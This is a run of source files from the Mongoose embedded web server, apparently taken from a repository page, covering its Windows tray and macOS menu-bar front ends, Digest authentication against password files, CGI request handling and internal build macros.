hThread = mg_start_thread(serving_thread_func, server);
StartServiceCtrlDispatcher(service_table);
exit(EXIT_SUCCESS);
} else {
start_mongoose(my_argc, my_argv);
hThread = mg_start_thread(serving_thread_func, server);
s_uTaskbarRestart = RegisterWindowMessage(TEXT("TaskbarCreated"));
}
break;
case WM_COMMAND:
switch (LOWORD(wParam)) {
case ID_QUIT:
TerminateThread(hThread, 0);
mg_destroy_server(&server);
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
PostQuitMessage(0);
return 0;
case ID_SETTINGS:
show_settings_dialog();
break;
case ID_INSTALL_SERVICE:
case ID_REMOVE_SERVICE:
manage_service(LOWORD(wParam));
break;
case ID_CONNECT:
printf("[%s]\n", get_url_to_me(server));
ShellExecute(NULL, "open", get_url_to_me(server),
NULL, NULL, SW_SHOW);
break;
}
break;
case WM_USER:
switch (lParam) {
case WM_RBUTTONUP:
case WM_LBUTTONUP:
case WM_LBUTTONDBLCLK:
hMenu = CreatePopupMenu();
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name);
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
service_installed = manage_service(0);
snprintf(buf, sizeof(buf), "NT service: %s installed",
service_installed ? "" : "not");
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf);
AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0),
ID_INSTALL_SERVICE, "Install service");
AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0),
ID_REMOVE_SERVICE, "Deinstall service");
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
snprintf(buf, sizeof(buf), "Start browser on port %s",
mg_get_option(server, "listening_port"));
AppendMenu(hMenu, MF_STRING, ID_CONNECT, buf);
AppendMenu(hMenu, MF_STRING, ID_SETTINGS, "Edit Settings");
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit");
GetCursorPos(&pt);
SetForegroundWindow(hWnd);
TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
PostMessage(hWnd, WM_NULL, 0, 0);
DestroyMenu(hMenu);
break;
}
break;
case WM_CLOSE:
TerminateThread(hThread, 0);
mg_destroy_server(&server);
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
PostQuitMessage(0);
return 0; // We've just sent our own quit message, with proper hwnd.
default:
if (msg==s_uTaskbarRestart)
Shell_NotifyIcon(NIM_ADD, &TrayIcon);
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) {
WNDCLASS cls;
HWND hWnd;
MSG msg;
init_utf8_argc_argv();
init_server_name();
memset(&cls, 0, sizeof(cls));
cls.lpfnWndProc = (WNDPROC) WindowProc;
cls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
cls.lpszClassName = server_name;
RegisterClass(&cls);
hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW,
0, 0, 0, 0, NULL, NULL, NULL, NULL);
ShowWindow(hWnd, SW_HIDE);
TrayIcon.cbSize = sizeof(TrayIcon);
TrayIcon.uID = ID_ICON;
TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
TrayIcon.hIcon = hIcon = LoadImage(GetModuleHandle(NULL),
MAKEINTRESOURCE(ID_ICON),
IMAGE_ICON, 16, 16, 0);
TrayIcon.hWnd = hWnd;
snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name);
TrayIcon.uCallbackMessage = WM_USER;
Shell_NotifyIcon(NIM_ADD, &TrayIcon);
while (GetMessage(&msg, hWnd, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Return the WM_QUIT value.
return msg.wParam;
}
#elif defined(USE_COCOA)
#import <Cocoa/Cocoa.h>
@interface Mongoose : NSObject<NSApplicationDelegate>
- (void) openBrowser;
- (void) shutDown;
@end
@implementation Mongoose
- (void) openBrowser {
[[NSWorkspace sharedWorkspace]
openURL:[NSURL URLWithString:
[NSString stringWithUTF8String:get_url_to_me(server)]]];
}
- (void) editConfig {
create_config_file(config_file);
[[NSWorkspace sharedWorkspace]
openFile:[NSString stringWithUTF8String:config_file]
withApplication:@"TextEdit"];
}
- (void)shutDown{
[NSApp terminate:nil];
}
@end
int main(int argc, char *argv[]) {
init_server_name();
start_mongoose(argc, argv);
mg_start_thread(serving_thread_func, server);
[NSAutoreleasePool new];
[NSApplication sharedApplication];
// Add delegate to process menu item actions
Mongoose *myDelegate = [[Mongoose alloc] autorelease];
[NSApp setDelegate: myDelegate];
// Run this app as agent
ProcessSerialNumber psn = { 0, kCurrentProcess };
TransformProcessType(&psn, kProcessTransformToBackgroundApplication);
SetFrontProcess(&psn);
// Add status bar menu
id menu = [[NSMenu new] autorelease];
// Add version menu item
[menu addItem:[[[NSMenuItem alloc]
//initWithTitle:[NSString stringWithFormat:@"%s", server_name]
initWithTitle:[NSString stringWithUTF8String:server_name]
action:@selector(noexist) keyEquivalent:@""] autorelease]];
// Add configuration menu item
[menu addItem:[[[NSMenuItem alloc]
initWithTitle:@"Edit configuration"
action:@selector(editConfig) keyEquivalent:@""] autorelease]];
// Add connect menu item
[menu addItem:[[[NSMenuItem alloc]
initWithTitle:@"Open web root in a browser"
action:@selector(openBrowser) keyEquivalent:@""] autorelease]];
// Separator
[menu addItem:[NSMenuItem separatorItem]];
// Add quit menu item
[menu addItem:[[[NSMenuItem alloc]
initWithTitle:@"Quit"
action:@selector(shutDown) keyEquivalent:@"q"] autorelease]];
// Attach menu to the status bar
id item = [[[NSStatusBar systemStatusBar]
statusItemWithLength:NSVariableStatusItemLength] retain];
[item setHighlightMode:YES];
[item setImage:[NSImage imageNamed:@"mongoose_22x22"]];
[item setMenu:menu];
// Run the app
[NSApp activateIgnoringOtherApps:YES];
[NSApp run];
mg_destroy_server(&server);
return EXIT_SUCCESS;
}
#else
int main(int argc, char *argv[]) {
#ifdef WIN32
init_utf8_argc_argv();
argc = my_argc;
argv = my_argv;
#endif
init_server_name();
start_mongoose(argc, argv);
printf("%s serving [%s] on port %s\n",
server_name, mg_get_option(server, "document_root"),
mg_get_option(server, "listening_port"));
fflush(stdout); // Needed, Windows terminals might not be line-buffered
while (exit_flag == 0) {
mg_poll_server(server, 1000);
}
printf("Exiting on signal %d ...", exit_flag);
fflush(stdout);
mg_destroy_server(&server);
printf("%s\n", " done.");
return EXIT_SUCCESS;
}
#endif /* _WIN32 */
100 ICON DISCARDABLE "systray.ico"
This source diff could not be displayed because it is too large. You can view the blob instead.
This source diff could not be displayed because it is too large. You can view the blob instead.
#include "internal.h"
// Stringify binary data. Output buffer must be twice as big as input,
// because each byte takes 2 bytes in string representation
static void bin2str(char *to, const unsigned char *p, size_t len) {
static const char *hex = "0123456789abcdef";
for (; len--; p++) {
*to++ = hex[p[0] >> 4];
*to++ = hex[p[0] & 0x0f];
}
*to = '\0';
}
// Return stringified MD5 hash for list of strings. Buffer must be 33 bytes.
char *mg_md5(char buf[33], ...) {
unsigned char hash[16];
const char *p;
va_list ap;
MD5_CTX ctx;
MD5Init(&ctx);
va_start(ap, buf);
while ((p = va_arg(ap, const char *)) != NULL) {
MD5Update(&ctx, (const unsigned char *) p, (unsigned) strlen(p));
}
va_end(ap);
MD5Final(hash, &ctx);
bin2str(buf, hash, sizeof(hash));
return buf;
}
// Check the user's password, return 1 if OK
static int check_password(const char *method, const char *ha1, const char *uri,
const char *nonce, const char *nc, const char *cnonce,
const char *qop, const char *response) {
char ha2[32 + 1], expected_response[32 + 1];
// Some of the parameters may be NULL
if (method == NULL || nonce == NULL || nc == NULL || cnonce == NULL ||
qop == NULL || response == NULL) {
return 0;
}
// NOTE(lsm): due to a bug in MSIE, we do not compare the URI
// TODO(lsm): check for authentication timeout
if (// strcmp(dig->uri, c->ouri) != 0 ||
strlen(response) != 32
// || now - strtoul(dig->nonce, NULL, 10) > 3600
) {
return 0;
}
mg_md5(ha2, method, ":", uri, NULL);
mg_md5(expected_response, ha1, ":", nonce, ":", nc,
":", cnonce, ":", qop, ":", ha2, NULL);
return mg_strcasecmp(response, expected_response) == 0;
}
// Use the global passwords file, if specified by auth_gpass option,
// or search for .htpasswd in the requested directory.
static FILE *open_auth_file(struct mg_connection *conn, const char *path) {
char name[PATH_MAX];
const char *p, *e, *gpass = conn->ctx->config[GLOBAL_PASSWORDS_FILE];
struct file file = STRUCT_FILE_INITIALIZER;
FILE *fp = NULL;
if (gpass != NULL) {
// Use global passwords file
fp = mg_fopen(gpass, "r");
// Important: using local struct file to test path for is_directory flag.
// If filep is used, mg_stat() makes it appear as if auth file was opened.
} else if (mg_stat(path, &file) && file.is_directory) {
mg_snprintf(name, sizeof(name), "%s%c%s",
path, '/', PASSWORDS_FILE_NAME);
fp = mg_fopen(name, "r");
} else {
// Try to find .htpasswd in requested directory.
for (p = path, e = p + strlen(p) - 1; e > p; e--)
if (e[0] == '/')
break;
mg_snprintf(name, sizeof(name), "%.*s%c%s",
(int) (e - p), p, '/', PASSWORDS_FILE_NAME);
fp = mg_fopen(name, "r");
}
return fp;
}
// Parsed Authorization header
struct ah {
char *user, *uri, *cnonce, *response, *qop, *nc, *nonce;
};
// Return 1 on success. Always initializes the ah structure.
static int parse_auth_header(struct mg_connection *conn, char *buf,
size_t buf_size, struct ah *ah) {
char *name, *value, *s;
const char *auth_header;
(void) memset(ah, 0, sizeof(*ah));
if ((auth_header = mg_get_header(conn, "Authorization")) == NULL ||
mg_strncasecmp(auth_header, "Digest ", 7) != 0) {
return 0;
}
// Make modifiable copy of the auth header
(void) mg_strlcpy(buf, auth_header + 7, buf_size);
s = buf;
// Parse authorization header
for (;;) {
// Gobble initial spaces
while (isspace(* (unsigned char *) s)) {
s++;
}
name = skip_quoted(&s, "=", " ", 0);
// Value is either quote-delimited, or ends at first comma or space.
if (s[0] == '\"') {
s++;
value = skip_quoted(&s, "\"", " ", '\\');
if (s[0] == ',') {
s++;
}
} else {
value = skip_quoted(&s, ", ", " ", 0); // IE uses commas, FF uses spaces
}
if (*name == '\0') {
break;
}
if (!strcmp(name, "username")) {
ah->user = value;
} else if (!strcmp(name, "cnonce")) {
ah->cnonce = value;
} else if (!strcmp(name, "response")) {
ah->response = value;
} else if (!strcmp(name, "uri")) {
ah->uri = value;
} else if (!strcmp(name, "qop")) {
ah->qop = value;
} else if (!strcmp(name, "nc")) {
ah->nc = value;
} else if (!strcmp(name, "nonce")) {
ah->nonce = value;
}
}
// CGI needs it as REMOTE_USER
if (ah->user != NULL) {
conn->request_info.remote_user = mg_strdup(ah->user);
} else {
return 0;
}
return 1;
}
// Authorize against the opened passwords file. Return 1 if authorized.
static int authorize(struct mg_connection *conn, FILE *fp) {
struct ah ah;
char line[256], f_user[256], ha1[256], f_domain[256], buf[MG_BUF_LEN];
if (!parse_auth_header(conn, buf, sizeof(buf), &ah)) {
return 0;
}
// Loop over passwords file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%s", f_user, f_domain, ha1) != 3) {
continue;
}
if (!strcmp(ah.user, f_user) &&
!strcmp(conn->ctx->config[AUTHENTICATION_DOMAIN], f_domain))
return check_password(conn->request_info.request_method, ha1, ah.uri,
ah.nonce, ah.nc, ah.cnonce, ah.qop, ah.response);
}
return 0;
}
// Return 1 if request is authorised, 0 otherwise.
static int check_authorization(struct mg_connection *conn, const char *path) {
char fname[PATH_MAX];
struct vec uri_vec, filename_vec;
const char *list;
FILE *fp = NULL;
int authorized = 1;
list = conn->ctx->config[PROTECT_URI];
while ((list = next_option(list, &uri_vec, &filename_vec)) != NULL) {
if (!memcmp(conn->request_info.uri, uri_vec.ptr, uri_vec.len)) {
mg_snprintf(fname, sizeof(fname), "%.*s",
(int) filename_vec.len, filename_vec.ptr);
fp = mg_fopen(fname, "r");
break;
}
}
if (fp == NULL) {
fp = open_auth_file(conn, path);
}
if (fp != NULL) {
authorized = authorize(conn, fp);
fclose(fp);
}
return authorized;
}
static void send_authorization_request(struct mg_connection *conn) {
conn->status_code = 401;
mg_printf(conn,
"HTTP/1.1 401 Unauthorized\r\n"
"Content-Length: 0\r\n"
"WWW-Authenticate: Digest qop=\"auth\", "
"realm=\"%s\", nonce=\"%lu\"\r\n\r\n",
conn->ctx->config[AUTHENTICATION_DOMAIN],
(unsigned long) time(NULL));
}
static int is_authorized_for_put(struct mg_connection *conn) {
const char *passfile = conn->ctx->config[PUT_DELETE_PASSWORDS_FILE];
FILE *fp;
int ret = 0;
if (passfile != NULL && (fp = mg_fopen(passfile, "r")) != NULL) {
ret = authorize(conn, fp);
fclose(fp);
}
return ret;
}
int mg_modify_passwords_file(const char *fname, const char *domain,
const char *user, const char *pass) {
int found;
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
FILE *fp, *fp2;
found = 0;
fp = fp2 = NULL;
// Regard empty password as no password - remove user record.
if (pass != NULL && pass[0] == '\0') {
pass = NULL;
}
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
// Create the file if does not exist
if ((fp = fopen(fname, "a+")) != NULL) {
fclose(fp);
}
// Open the given file and temporary file
if ((fp = fopen(fname, "r")) == NULL) {
return 0;
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
fclose(fp);
return 0;
}
// Copy the stuff to temporary file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
continue;
}
if (!strcmp(u, user) && !strcmp(d, domain)) {
found++;
if (pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
} else {
fprintf(fp2, "%s", line);
}
}
// If new user, just add it
if (!found && pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
// Close files
fclose(fp);
fclose(fp2);
// Put the temp file in place of real file
remove(fname);
rename(tmp, fname);
return 1;
}
#include "internal.h"
static int forward_body_data(struct mg_connection *conn, FILE *fp,
SOCKET sock, SSL *ssl) {
const char *expect, *body;
char buf[MG_BUF_LEN];
int nread, buffered_len, success = 0;
int64_t left;
expect = mg_get_header(conn, "Expect");
assert(fp != NULL);
if (conn->content_len == INT64_MAX) {
send_http_error(conn, 411, "Length Required", "%s", "");
} else if (expect != NULL && mg_strcasecmp(expect, "100-continue")) {
send_http_error(conn, 417, "Expectation Failed", "%s", "");
} else {
if (expect != NULL) {
(void) mg_printf(conn, "%s", "HTTP/1.1 100 Continue\r\n\r\n");
}
buffered_len = conn->data_len - conn->request_len;
body = conn->buf + conn->request_len;
assert(buffered_len >= 0);
if (buffered_len > 0) {
if ((int64_t) buffered_len > conn->content_len) {
buffered_len = (int) conn->content_len;
}
push(fp, sock, ssl, body, (int64_t) buffered_len);
memmove((char *) body, body + buffered_len, buffered_len);
conn->data_len -= buffered_len;
}
nread = 0;
while (conn->num_bytes_read < conn->content_len + conn->request_len) {
left = left_to_read(conn);
if (left > (int64_t) sizeof(buf)) {
left = sizeof(buf);
}
nread = pull(NULL, conn, buf, (int) left);
if (nread <= 0 || push(fp, sock, ssl, buf, nread) != nread) {
break;
}
}
if (left_to_read(conn) == 0) {
success = nread >= 0;
}
// Each error code path in this function must send an error
if (!success) {
send_http_error(conn, 577, http_500_error, "%s", "");
}
}
return success;
}
#if !defined(NO_CGI)
// This structure helps to create an environment for the spawned CGI program.
// Environment is an array of "VARIABLE=VALUE\0" ASCIIZ strings,
// last element must be NULL.
// However, on Windows there is a requirement that all these VARIABLE=VALUE\0
// strings must reside in a contiguous buffer. The end of the buffer is
// marked by two '\0' characters.
// We satisfy both worlds: we create an envp array (which is vars), all
// entries are actually pointers inside buf.
struct cgi_env_block {
struct mg_connection *conn;
char buf[CGI_ENVIRONMENT_SIZE]; // Environment buffer
int len; // Space taken
char *vars[MAX_CGI_ENVIR_VARS]; // char **envp
int nvars; // Number of variables
};
static char *addenv(struct cgi_env_block *block,
PRINTF_FORMAT_STRING(const char *fmt), ...)
PRINTF_ARGS(2, 3);
// Append VARIABLE=VALUE\0 string to the buffer, and add a respective
// pointer into the vars array.
static char *addenv(struct cgi_env_block *block, const char *fmt, ...) {
int n, space;
char *added;
va_list ap;
// Calculate how much space is left in the buffer
space = sizeof(block->buf) - block->len - 2;
assert(space >= 0);
// Make a pointer to the free space int the buffer
added = block->buf + block->len;
// Copy VARIABLE=VALUE\0 string into the free space
va_start(ap, fmt);
n = mg_vsnprintf(added, (size_t) space, fmt, ap);
va_end(ap);
// Make sure we do not overflow buffer and the envp array
if (n > 0 && n + 1 < space &&
block->nvars < (int) ARRAY_SIZE(block->vars) - 2) {
// Append a pointer to the added string into the envp array
block->vars[block->nvars++] = added;
// Bump up used length counter. Include \0 terminator
block->len += n + 1;
} else {
cry(block->conn, "%s: CGI env buffer truncated for [%s]", __func__, fmt);
}
return added;
}
static void prepare_cgi_environment(struct mg_connection *conn,
const char *prog,
struct cgi_env_block *blk) {
const struct mg_request_info *ri = &conn->request_info;
const char *s, *slash;
struct vec var_vec;
char *p, src_addr[IP_ADDR_STR_LEN];
int i;
blk->len = blk->nvars = 0;
blk->conn = conn;
sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
addenv(blk, "SERVER_NAME=%s", conn->ctx->config[AUTHENTICATION_DOMAIN]);
addenv(blk, "SERVER_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
addenv(blk, "DOCUMENT_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
addenv(blk, "SERVER_SOFTWARE=%s/%s", "Mongoose", mg_version());
// Prepare the environment block
addenv(blk, "%s", "GATEWAY_INTERFACE=CGI/1.1");
addenv(blk, "%s", "SERVER_PROTOCOL=HTTP/1.1");
addenv(blk, "%s", "REDIRECT_STATUS=200"); // For PHP
// TODO(lsm): fix this for IPv6 case
addenv(blk, "SERVER_PORT=%d", ntohs(conn->client.lsa.sin.sin_port));
addenv(blk, "REQUEST_METHOD=%s", ri->request_method);
addenv(blk, "REMOTE_ADDR=%s", src_addr);
addenv(blk, "REMOTE_PORT=%d", ri->remote_port);
addenv(blk, "REQUEST_URI=%s%s%s", ri->uri,
ri->query_string == NULL ? "" : "?",
ri->query_string == NULL ? "" : ri->query_string);
// SCRIPT_NAME
if (conn->path_info != NULL) {
addenv(blk, "SCRIPT_NAME=%.*s",
(int) (strlen(ri->uri) - strlen(conn->path_info)), ri->uri);
addenv(blk, "PATH_INFO=%s", conn->path_info);
} else {
s = strrchr(prog, '/');
slash = strrchr(ri->uri, '/');
addenv(blk, "SCRIPT_NAME=%.*s%s",
slash == NULL ? 0 : (int) (slash - ri->uri), ri->uri,
s == NULL ? prog : s);
}
addenv(blk, "SCRIPT_FILENAME=%s", prog);
addenv(blk, "PATH_TRANSLATED=%s", prog);
addenv(blk, "HTTPS=%s", conn->ssl == NULL ? "off" : "on");
if ((s = mg_get_header(conn, "Content-Type")) != NULL)
addenv(blk, "CONTENT_TYPE=%s", s);
if (ri->query_string != NULL) {
addenv(blk, "QUERY_STRING=%s", ri->query_string);
}
if ((s = mg_get_header(conn, "Content-Length")) != NULL)
addenv(blk, "CONTENT_LENGTH=%s", s);
if ((s = getenv("PATH")) != NULL)
addenv(blk, "PATH=%s", s);
#if defined(_WIN32)
if ((s = getenv("COMSPEC")) != NULL) {
addenv(blk, "COMSPEC=%s", s);
}
if ((s = getenv("SYSTEMROOT")) != NULL) {
addenv(blk, "SYSTEMROOT=%s", s);
}
if ((s = getenv("SystemDrive")) != NULL) {
addenv(blk, "SystemDrive=%s", s);
}
if ((s = getenv("ProgramFiles")) != NULL) {
addenv(blk, "ProgramFiles=%s", s);
}
if ((s = getenv("ProgramFiles(x86)")) != NULL) {
addenv(blk, "ProgramFiles(x86)=%s", s);
}
if ((s = getenv("CommonProgramFiles(x86)")) != NULL) {
addenv(blk, "CommonProgramFiles(x86)=%s", s);
}
#else
if ((s = getenv("LD_LIBRARY_PATH")) != NULL)
addenv(blk, "LD_LIBRARY_PATH=%s", s);
#endif // _WIN32
if ((s = getenv("PERLLIB")) != NULL)
addenv(blk, "PERLLIB=%s", s);
if (ri->remote_user != NULL) {
addenv(blk, "REMOTE_USER=%s", ri->remote_user);
addenv(blk, "%s", "AUTH_TYPE=Digest");
}
// Add all headers as HTTP_* variables
for (i = 0; i < ri->num_headers; i++) {
p = addenv(blk, "HTTP_%s=%s",
ri->http_headers[i].name, ri->http_headers[i].value);
// Convert variable name into uppercase, and change - to _
for (; *p != '=' && *p != '\0'; p++) {
if (*p == '-')
*p = '_';
*p = (char) toupper(* (unsigned char *) p);
}
}
// Add user-specified variables
s = conn->ctx->config[CGI_ENVIRONMENT];
while ((s = next_option(s, &var_vec, NULL)) != NULL) {
addenv(blk, "%.*s", (int) var_vec.len, var_vec.ptr);
}
blk->vars[blk->nvars++] = NULL;
blk->buf[blk->len++] = '\0';
assert(blk->nvars < (int) ARRAY_SIZE(blk->vars));
assert(blk->len > 0);
assert(blk->len < (int) sizeof(blk->buf));
}
static void handle_cgi_request(struct mg_connection *conn, const char *prog) {
int headers_len, data_len, i, fdin[2] = {-1, -1}, fdout[2] = {-1, -1};
const char *status, *status_text;
char buf[16384], *pbuf, dir[PATH_MAX], *p;
struct mg_request_info ri;
struct cgi_env_block blk;
FILE *in = NULL, *out = NULL;
pid_t pid = (pid_t) -1;
memset(&ri, 0, sizeof(ri));
prepare_cgi_environment(conn, prog, &blk);
// CGI must be executed in its own directory. 'dir' must point to the
// directory containing executable program, 'p' must point to the
// executable program name relative to 'dir'.
(void) mg_snprintf(dir, sizeof(dir), "%s", prog);
if ((p = strrchr(dir, '/')) != NULL) {
*p++ = '\0';
} else {
dir[0] = '.', dir[1] = '\0';
p = (char *) prog;
}
if (pipe(fdin) != 0 || pipe(fdout) != 0) {
send_http_error(conn, 500, http_500_error,
"Cannot create CGI pipe: %s", strerror(ERRNO));
goto done;
}
pid = spawn_process(conn, p, blk.buf, blk.vars, fdin[0], fdout[1], dir);
if (pid == (pid_t) -1) {
send_http_error(conn, 500, http_500_error,
"Cannot spawn CGI process [%s]: %s", prog, strerror(ERRNO));
goto done;
}
// Make sure child closes all pipe descriptors. It must dup them to 0,1
set_close_on_exec(fdin[0]);
set_close_on_exec(fdin[1]);
set_close_on_exec(fdout[0]);
set_close_on_exec(fdout[1]);
// Parent closes only one side of the pipes.
// If we don't mark them as closed, close() attempt before
// return from this function throws an exception on Windows.
// Windows does not like when closed descriptor is closed again.
(void) close(fdin[0]);
(void) close(fdout[1]);
fdin[0] = fdout[1] = -1;
if ((in = fdopen(fdin[1], "wb")) == NULL ||
(out = fdopen(fdout[0], "rb")) == NULL) {
send_http_error(conn, 500, http_500_error,
"fopen: %s", strerror(ERRNO));
goto done;
}
setbuf(in, NULL);
setbuf(out, NULL);
// Send POST data to the CGI process if needed
if (!strcmp(conn->request_info.request_method, "POST") &&
!forward_body_data(conn, in, INVALID_SOCKET, NULL)) {
goto done;
}
// Close so child gets an EOF.
fclose(in);
in = NULL;
fdin[1] = -1;
// Now read CGI reply into a buffer. We need to set correct
// status code, thus we need to see all HTTP headers first.
// Do not send anything back to client, until we buffer in all
// HTTP headers.
data_len = 0;
headers_len = read_request(out, conn, buf, sizeof(buf), &data_len);
if (headers_len <= 0) {
send_http_error(conn, 500, http_500_error,
"CGI program sent malformed or too big (>%u bytes) "
"HTTP headers: [%.*s]",
(unsigned) sizeof(buf), data_len, buf);
goto done;
}
pbuf = buf;
buf[headers_len - 1] = '\0';
parse_http_headers(&pbuf, &ri);
// Make up and send the status line
status_text = "OK";
if ((status = get_header(&ri, "Status")) != NULL) {
conn->status_code = atoi(status);
status_text = status;
while (isdigit(* (unsigned char *) status_text) || *status_text == ' ') {
status_text++;
}
} else if (get_header(&ri, "Location") != NULL) {
conn->status_code = 302;
} else {
conn->status_code = 200;
}
if (get_header(&ri, "Connection") != NULL &&
!mg_strcasecmp(get_header(&ri, "Connection"), "keep-alive")) {
conn->must_close = 1;
}
(void) mg_printf(conn, "HTTP/1.1 %d %s\r\n", conn->status_code,
status_text);
// Send headers
for (i = 0; i < ri.num_headers; i++) {
mg_printf(conn, "%s: %s\r\n",
ri.http_headers[i].name, ri.http_headers[i].value);
}
mg_write(conn, "\r\n", 2);
// Send chunk of data that may have been read after the headers
conn->num_bytes_sent += mg_write(conn, buf + headers_len,
(size_t)(data_len - headers_len));
// Read the rest of CGI output and send to the client
send_file_data(conn, out, 0, INT64_MAX);
done:
if (pid != (pid_t) -1) {
kill(pid, SIGKILL);
}
if (fdin[0] != -1) {
close(fdin[0]);
}
if (fdout[1] != -1) {
close(fdout[1]);
}
if (in != NULL) {
fclose(in);
} else if (fdin[1] != -1) {
close(fdin[1]);
}
if (out != NULL) {
fclose(out);
} else if (fdout[0] != -1) {
close(fdout[0]);
}
}
#endif // !NO_CGI
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited
// All rights reserved
//
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>.
#undef _UNICODE // Use multibyte encoding on Windows
#define _MBCS // Use multibyte encoding on Windows
#define _INTEGRAL_MAX_BITS 64 // Enable _stati64() on Windows
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005+
#undef WIN32_LEAN_AND_MEAN // Let windows.h always include winsock2.h
#define _XOPEN_SOURCE 600 // For flockfile() on Linux
#define __STDC_FORMAT_MACROS // <inttypes.h> wants this for C++
#define __STDC_LIMIT_MACROS // C++ wants that for INT64_MAX
#define _LARGEFILE_SOURCE // Enable fseeko() and ftello() functions
#define _FILE_OFFSET_BITS 64 // Enable 64-bit file offsets
#ifdef _MSC_VER
#pragma warning (disable : 4127) // FD_SET() emits warning, disable it
#pragma warning (disable : 4204) // missing c99 support
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <assert.h>
#include <errno.h>
#include <time.h>
#include <ctype.h>
#include <stdarg.h>
#ifdef _WIN32
#include <windows.h>
typedef int socklen_t;
typedef int pid_t;
typedef SOCKET sock_t;
typedef unsigned int uint32_t;
typedef unsigned short uint16_t;
typedef unsigned __int64 uint64_t;
typedef __int64 int64_t;
typedef CRITICAL_SECTION mutex_t;
typedef struct _stati64 file_stat_t;
#pragma comment(lib, "ws2_32.lib")
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define INT64_FMT "I64d"
#define mutex_init(x) InitializeCriticalSection(x)
#define mutex_destroy(x) DeleteCriticalSection(x)
#define mutex_lock(x) EnterCriticalSection(x)
#define mutex_unlock(x) LeaveCriticalSection(x)
#define S_ISDIR(x) ((x) & _S_IFDIR)
#define sleep(x) Sleep((x) * 1000)
#define stat(x, y) _stati64((x), (y))
#define to64(x) _atoi64(x)
#ifndef va_copy
#define va_copy(x,y) x = y
#endif // MINGW #defines va_copy
#ifndef __func__
#define __func__ ""
#endif
#else
#include <inttypes.h>
#include <dirent.h>
#include <unistd.h>
#include <pthread.h>
#include <arpa/inet.h> // For inet_pton() when USE_IPV6 is defined
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/select.h>
#define closesocket(x) close(x)
typedef int sock_t;
typedef pthread_mutex_t mutex_t;
typedef struct stat file_stat_t;
#define mutex_init(x) pthread_mutex_init(x, NULL)
#define mutex_destroy(x) pthread_mutex_destroy(x)
#define mutex_lock(x) pthread_mutex_lock(x)
#define mutex_unlock(x) pthread_mutex_unlock(x)
#define INVALID_SOCKET ((sock_t) -1)
#define INT64_FMT PRId64
#define to64(x) strtoll(x, NULL, 10)
#define __cdecl
#endif
#include "core.h"
struct linked_list_link { struct linked_list_link *prev, *next; };
#define LINKED_LIST_INIT(N) ((N)->next = (N)->prev = (N))
#define LINKED_LIST_DECLARE_AND_INIT(H) struct linked_list_link H = { &H, &H }
#define LINKED_LIST_ENTRY(P,T,N) ((T *)((char *)(P) - offsetof(T, N)))
#define LINKED_LIST_IS_EMPTY(N) ((N)->next == (N))
#define LINKED_LIST_FOREACH(H,N,T) \
for (N = (H)->next, T = (N)->next; N != (H); N = (T), T = (N)->next)
#define LINKED_LIST_ADD_TO_FRONT(H,N) do { ((H)->next)->prev = (N); \
(N)->next = ((H)->next); (N)->prev = (H); (H)->next = (N); } while (0)
#define LINKED_LIST_ADD_TO_TAIL(H,N) do { ((H)->prev)->next = (N); \
(N)->prev = ((H)->prev); (N)->next = (H); (H)->prev = (N); } while (0)
#define LINKED_LIST_REMOVE(N) do { ((N)->next)->prev = ((N)->prev); \
((N)->prev)->next = ((N)->next); LINKED_LIST_INIT(N); } while (0)
#define ARRAY_SIZE(array) (sizeof(array) / sizeof(array[0]))
#define MAX_REQUEST_SIZE 16384
#define IOBUF_SIZE 8192
#define MAX_PATH_SIZE 8192
#define LUA_SCRIPT_PATTERN "mg_*.lua$"
#define CGI_ENVIRONMENT_SIZE 4096
#define MAX_CGI_ENVIR_VARS 64
#define ENV_EXPORT_TO_CGI "MONGOOSE_CGI"
#define PASSWORDS_FILE_NAME ".htpasswd"
